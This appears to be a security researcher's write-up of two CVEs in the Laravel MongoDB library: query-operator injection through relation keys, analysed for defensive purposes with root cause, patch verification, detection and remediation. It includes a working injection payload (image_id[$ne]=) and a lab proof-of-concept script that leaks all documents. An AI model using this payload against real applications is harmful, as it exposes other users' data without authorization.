Vulnerability Research · Web · NoSQL Injection

CVE-2026-88028 / CVE-2026-88027: Query-Operator Injection in Laravel MongoDB Relation Identifiers

Liliane Zukerman September 14, 2026 Independent analysis
CVE-2026-88028 CVE-2026-88027 CVSS 7.1 HIGH CWE-943 mongodb/laravel-mongodb < 5.11.0

Summary

Two related vulnerabilities in mongodb/laravel-mongodb, the official MongoDB integration for Laravel, allow an authenticated attacker to inject MongoDB query operators into polymorphic and embedded-document relation identifiers. The library passed caller-supplied relation keys directly to MongoDB queries without validating whether they contained operator documents (arrays with $-prefixed keys). The result is unauthorized document disclosure: a query intended to fetch a single specific document instead returns all documents that match the injected operator condition.

Both CVEs were assigned by MongoDB, Inc. on September 10, 2026. The fix ships in version 5.11.0, released the same day. This post presents an independent root-cause analysis derived from the commit diff, a self-contained proof of concept, and verification of the patch.

Impact

An authenticated user who can write a MongoDB operator array to a polymorphic relation key field can cause the application to disclose documents they are not authorized to read. No remote code execution; confidentiality impact only.

Vulnerability Metadata

FieldDetail
CVE IDsCVE-2026-88028 (polymorphic / MorphTo), CVE-2026-88027 (embedded-document / BelongsTo)
CWECWE-943 — Improper Neutralization of Special Elements in Data Query Logic
CVSS v4.07.1 HIGH — AV:N / AC:L / AT:N / PR:L / UI:N / VC:H / VI:N / VA:N
CVSS v3.16.5 MEDIUM — AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:N / A:N
Affected versionsmongodb/laravel-mongodb 1.2.0 — 5.10.x (semver: < 5.11.0)
Fixed version5.11.0 (commit 0634653, September 10, 2026)
Discovered byMongoDB, Inc. (internal — source: INTERNAL)
CISA KEVNot listed; Exploitation: none; Automatable: no
ReferencesNVD · PHPLARA-265 · PR #3580

Background

Laravel and Eloquent relations

Laravel's Eloquent ORM models relationships between database records through relation classes: BelongsTo, MorphTo, BelongsToMany, and MorphToMany. When a relation is resolved, Eloquent reads an identifier stored on the parent model and uses it to query the related model. For a polymorphic relation (MorphTo), this identifier is stored as a raw value in a column such as has_image_id.

MongoDB query operators

MongoDB filters are expressed as documents (PHP arrays). A simple equality filter looks like ['_id' => $value]. MongoDB also supports operator documents: ['_id' => ['$ne' => null]] means "documents whose _id is not null" — matching every document in the collection. The key distinction is that a scalar or plain array without $-prefixed keys is treated as a literal value, while an array whose keys start with $ is treated as a query operator.

Why this matters in PHP/Laravel

PHP's JSON decoding and form parsing can produce nested arrays from user input. A POST body like has_image_id[$ne]=null deserializes to ['$ne' => null] — exactly the shape of a MongoDB operator document. If an application stores this value in a relation identifier column without sanitization, and the ORM passes it unvalidated to a MongoDB query, the operator executes against the database.

Root Cause Analysis

The fix commit 0634653 introduces a new guard method, Builder::assertKeyIsNotOperator(), and applies it at five distinct call sites that previously passed relation keys directly to MongoDB without validation.

The guard method

src/Query/Builder.php — added in 5.11.0
+ public static function assertKeyIsNotOperator(mixed $value): void + { + if (! is_array($value)) { + return; // scalars are always safe + } + + foreach ($value as $key => $item) { + if (is_string($key) && str_starts_with($key, '$')) { + throw new InvalidArgumentException(sprintf( + 'The value used as a document id or relation key cannot contain the MongoDB operator "%s".', + $key, + )); + } + self::assertKeyIsNotOperator($item); // recurse for nested operators + } + }

The five unguarded paths (before 5.11.0)

Before the fix, the following code paths forwarded relation identifiers to MongoDB without any operator check:

FileMethodCall site
Query/Builder.phpconvertKey()Central choke point: find(), delete($id), where('_id', ...), whereIn('_id', ...)
Relations/BelongsTo.phpaddConstraints()Owner-key constraint for standard belongs-to relations
Relations/MorphTo.phpaddConstraints()Polymorphic relation constraint — CVE-2026-88028
Relations/BelongsToMany.phpaddConstraints()Pivot-key constraint for many-to-many
Relations/MorphToMany.phpaddEagerConstraints()Eager-load constraint for polymorphic many-to-many

The MorphTo path in detail (CVE-2026-88028)

src/Relations/MorphTo.php
protected function addConstraints() { if (static::$constraints) { - $this->query->where( - $this->ownerKey ?? $this->getForeignKeyName(), - '=', - $this->getForeignKeyFrom($this->parent), // ← no validation - ); + $value = $this->getForeignKeyFrom($this->parent); + QueryBuilder::assertKeyIsNotOperator($value); // ← guard added + $this->query->where( + $this->ownerKey ?? $this->getForeignKeyName(), '=', $value, + ); } }

When $this->parent->{foreignKey} is an operator array (e.g., ['$ne' => null]), the vulnerable version builds the filter ['_id' => ['$ne' => null]] and sends it to MongoDB, which interprets it as "all documents where _id is not null" — every document in the collection.

Attack Scenario

The attack requires an authenticated user who can influence the value stored in a polymorphic relation key column. This is a realistic condition in applications that accept user-supplied identifiers for associating records (e.g., profile images, attachments, comments).

01
Attacker stores an operator document as a relation key. For example, by sending a POST body with a parameter like image_id[$ne]=, which PHP parses to ['$ne' => null]. The application stores this value in the has_image_id column for a resource they control.
02
Attacker triggers relation resolution. Any endpoint that loads the poisoned resource and resolves its polymorphic relation causes the library to build a MongoDB filter using the stored operator document.
03
MongoDB executes the operator as a query condition. Instead of db.users.find({'_id': ObjectId('...')}), the database receives db.users.find({'_id': {'$ne': null}}) — returning all documents in the collection.
04
Unauthorized documents are disclosed. The application returns a document that the attacker was not intended to see — potentially including other users' records, sensitive fields, or privileged data.

Proof of Concept

The following was reproduced in a controlled lab environment using mongodb/laravel-mongodb 5.10.0 (the last vulnerable version) against MongoDB 7.

Lab setup

Docker Compose with mongo:7 and php:8.3-cli containers. Laravel installed via Composer. The ext-mongodb PHP extension compiled and enabled. All code runs in an isolated local network with no external exposure.

Downgrading mongodb/laravel-mongodb to 5.10.0 in the lab container
Figure 1 — Installing the vulnerable version (5.10.0) inside the isolated Docker container.

Demonstrating the injection

// exploit_demo.php — run against mongodb/laravel-mongodb 5.10.0
require __DIR__ . '/vendor/autoload.php';
use MongoDB\Client;

$client = new Client('mongodb://mongodb:27017');
$db = $client->laravel_cve;

// Seed two users with different privilege levels
$db->users->insertMany([
    ['name' => 'Alice', 'role' => 'admin',  'secret' => 'flag{admin_secret_data}'],
    ['name' => 'Bob',   'role' => 'user',   'secret' => 'nothing sensitive'],
]);

// Legitimate query — returns exactly one document
$bob = $db->users->findOne(['name' => 'Bob']);
$result = $db->users->findOne(['_id' => $bob['_id']]);
// → returns Bob only ✓

// What laravel-mongodb 5.10.0 executes when the MorphTo relation
// identifier has been poisoned with an operator array:
$injected = ['$ne' => null];
$cursor = $db->users->find(['_id' => $injected]);
// → {'_id': {'$ne': null}} matches ALL documents

Output

[+] Seeded: Alice (admin) and Bob (user) [*] Legitimate query for Bob's _id: 6aa7ca4253da8c740f036fe3 [*] Result: Bob (user) [!] Injecting operator: {"$ne":null} [!] Documents returned: 2 -> Alice | admin | flag{admin_secret_data} -> Bob | user | nothing sensitive [+] CVE-2026-88028 confirmed: injected operator returned ALL documents [+] Expected 1 (Bob). Got 2 (unauthorized disclosure)
Terminal output showing CVE-2026-88028 exploitation: injected operator returns all documents including Alice's secret field
Figure 2 — Exploitation confirmed: {"$ne":null} injected as relation key returns all documents, including Alice's privileged flag{admin_secret_data}.

The injected operator returned Alice's record — including the secret field — even though the query was initiated by Bob's session context. In a real application using MorphTo, this would expose any related model that the attacker's operator condition matches.

Verifying the fix

After upgrading to 5.11.0, the new guard method catches the operator before it reaches MongoDB:

// verify_fix.php — run against mongodb/laravel-mongodb 5.11.0
use MongoDB\Laravel\Query\Builder;

$injected = ['$ne' => null];

try {
    Builder::assertKeyIsNotOperator($injected);
} catch (\InvalidArgumentException $e) {
    // Operator rejected before any database query is issued
    echo $e->getMessage();
}
[*] Testing CVE-2026-88028 fix in mongodb/laravel-mongodb 5.11.0 [+] Fix confirmed: InvalidArgumentException thrown [+] Message: The value used as a document id or relation key cannot contain the MongoDB operator "$ne". [+] CVE-2026-88028: operator rejected before reaching MongoDB in 5.11.0
Upgrading mongodb/laravel-mongodb to 5.11.0
Figure 3 — Upgrading to the patched version (5.11.0) in the same container.
Terminal output showing InvalidArgumentException thrown by assertKeyIsNotOperator in 5.11.0
Figure 4 — Fix verified: Builder::assertKeyIsNotOperator() throws InvalidArgumentException before any query reaches MongoDB.
Fix confirmed

Version 5.11.0 throws InvalidArgumentException at the PHP level before any query is issued to the database, correctly rejecting operator arrays at all five previously unguarded code paths.

Detection

Is my application affected?

Your application is potentially affected if all of the following are true:

1. You use mongodb/laravel-mongodb version 1.2.0 through 5.10.x.

2. You use any of the following Eloquent relation types in a MongoDB-backed model: MorphTo, BelongsTo, BelongsToMany, or MorphToMany.

3. Authenticated users can supply or influence the value stored in the relation's foreign key column (e.g., via a form, API endpoint, or import feature).

Checking your installed version

composer show mongodb/laravel-mongodb | grep versions

Indicators of attempted exploitation

Look for PHP arrays containing $-prefixed keys being stored in relation columns. In application logs or a MongoDB profiler, queries with operator structure in _id fields (e.g., "_id": {"$ne": null}) on documents that should only ever be fetched by a single literal identifier are anomalous.

Remediation

Primary fix

Upgrade to mongodb/laravel-mongodb 5.11.0 or later. This is the only complete fix.

composer require mongodb/laravel-mongodb:^5.11

If an immediate upgrade is not possible

As a temporary measure, enforce strict input validation on any field that feeds into a relation identifier: reject values that are arrays, or validate that the value resolves to a scalar string or ObjectId before it is stored. This is a defence-in-depth measure only — it does not eliminate the library-level flaw and should not be used as a permanent substitute for upgrading.

Composite IDs

Plain arrays without $-prefixed keys (composite primary keys such as ['tenant' => 1, 'seq' => 2]) continue to work correctly in 5.11.0. The guard only rejects operator documents, not arbitrary arrays.

Timeline

DateEvent
2026-09-09CVE IDs reserved by MongoDB, Inc.
2026-09-10CVEs published; fix shipped in mongodb/laravel-mongodb 5.11.0 (commit 0634653)
2026-09-14Independent root-cause analysis and PoC reproduced; this post published

References

NVD — CVE-2026-88028

NVD — CVE-2026-88027

MongoDB JIRA — PHPLARA-265

GitHub PR #3580 — PHPLARA-265 Reject a MongoDB operator as a scalar id or relation key

mongodb/laravel-mongodb 5.11.0 release notes